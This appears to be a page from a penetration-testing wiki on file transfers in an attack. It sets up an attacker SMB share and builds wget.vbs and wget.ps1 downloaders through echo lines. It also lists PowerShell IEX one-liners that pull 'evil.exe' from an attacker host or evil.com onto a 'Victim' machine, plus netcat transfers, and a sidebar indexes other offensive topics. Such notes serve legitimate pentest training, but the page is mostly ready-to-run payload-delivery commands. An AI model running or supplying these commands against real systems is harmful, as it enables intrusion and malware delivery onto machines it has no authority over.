-
Notifications
You must be signed in to change notification settings - Fork 7
File Transfers
Potential tools that can be used:
- wget
- Python Simple Server Module
- FTP
- nmap http-put
- wget.vbs/ps1 (see below)
- Cadaver
- Swego
- satellite
- pwndrop
If you have FTP access, you can try "putting" a file:
ftp> put shell.php
Turn current (kali) directory into a webserver (won't have to copy to /var/www/html):
$ python -m SimpleHTTPServer <port#>
Attacking machine:
$ impacket-smbserver GetchShare $(pwd) -smb2support -user Getch -password I@mGr00t!
Target machine (Windows):
PS C:\> $pass = convertto-securestring 'I@mGr00t!' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('Getch', $pass)
PS C:\> New-PSDrive -Name Getch -PSProvider FileSystem -Credential $cred -Root [\\<attacking_IP>\GetchShare](file://%3cattacking_IP%3e/GetchShare)
PS C:\> cd GetchShare:
PS GetchShare:\> echo "tada!"$ sudo python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbsUSAGE:
C:\Users\Victim>cscript wget.vbs [http://attacking_IP/evil.exe](http://attacking_IP/evil.exe) evil.exe
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "[http://attacking_IP/evil.exe](http://attacking_IP/evil.exe)" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1USAGE:
C:\Users\Victim>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
PS C:\Users\Victim> IEX(New-Object Net.WebClient).downloadString('http://AttackerIP:port/FileToDownload.exe')
or
PS C:\Users\Victim> IEX(New-Object Net.WebClient).DownloadFile('http://AttackerIP:port/FileToDownload.exe','C:\Users\Victim\Writeable-Directory\FileToDownload.exe')
or
cmd /c powershell IEX(New-Object Net.WebClient).DownloadFile('http://AttackerIP:port/FileToDownload.exe','C:\Users\Victim\Writeable-Directory\FileToDownload.exe')
or
PS C:\Users\Victim> Invoke-WebRequest -Uri https://evil.com/evil.exe -OutFile evil.exe
On the receiving end, running...
nc -l -p 1234 > out.file
...will begin listening on port 1234.
On the sending end, running...
nc -w 3 \[destination\] 1234 < out.file
...will connect to the receiver and begin sending file.
From <https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/>
_Sidebar
1. Recon
- Ping Sweep: Windows Method
- Ping Sweep: Bash Method
- NetDiscover (ARP Scanning
- Nbtscan
- Ping Sweep: Python Method
- Ping Sweep: PowerShell Method
- Ping Sweep: Nmap method
- HTTP General Notes
- Cross-Site Scripting (XSS)
- SQL Injection (SQLi)
- Deserialization
- Directory Fuzzing
- IDOR Testing
- Intigriti Bug Bounty Tips
- Out of band exploitation
- Server-Side Template Injection (SSTI) Help
- Subdomain Enumeration
- WebFOCUS
- XXE Cheatsheet
- C2 Frameworks
- BloodHound
- Powershell Empire Quick Start Cheatsheet
- Pivoting/Tunneling
- Impacket
- Rubeus
- Mimikatz
- Identifying Hash Types
-
Dumping Hashes
-
- Cracking Hashes Offline
-
- Cracking Hashes Online
-
- Metasploit Meterpreter Migrate Process
- VMWare Port Forwarding
- Veil Simple Usage
- SSH: Generate OpenSSL RSA Key Pair from the Command Line
- Skipfish
- sed & awk: set root password in etc/shadow
- Search for ssh key quickly
- Python Proxy to Burp
- Python Convert .py to .exe
- PuttySCP Commands
- Powershell tidbits
- Password List - Generate quick list
- OS Enumeration - Ping
- Kerberos: Get KDC name and DNS name
- Impacket Scripts Error
- Gcc Compile Windows Executable in Linux
- Find Command: Filter out permission denied errors
- Excel Injection
- Digitally Sign Files (PowerShell Example)
- CSRF Tokens as Cookie Note
- Clear bash
- Burp Intruder Match/Replace
- Apache headers Test
- Windows Trial VMs
- Subdomain Brute Force
- Spawning TTY Shell
- Reserve Shell Cheat Sheet
- Pass-the-Hash
- Common Meterpreter Commands
- gcc & wine
- File Transfers
- Enable RDP - Windows
- DNS Reverse Lookup Brute Force
- Adding Users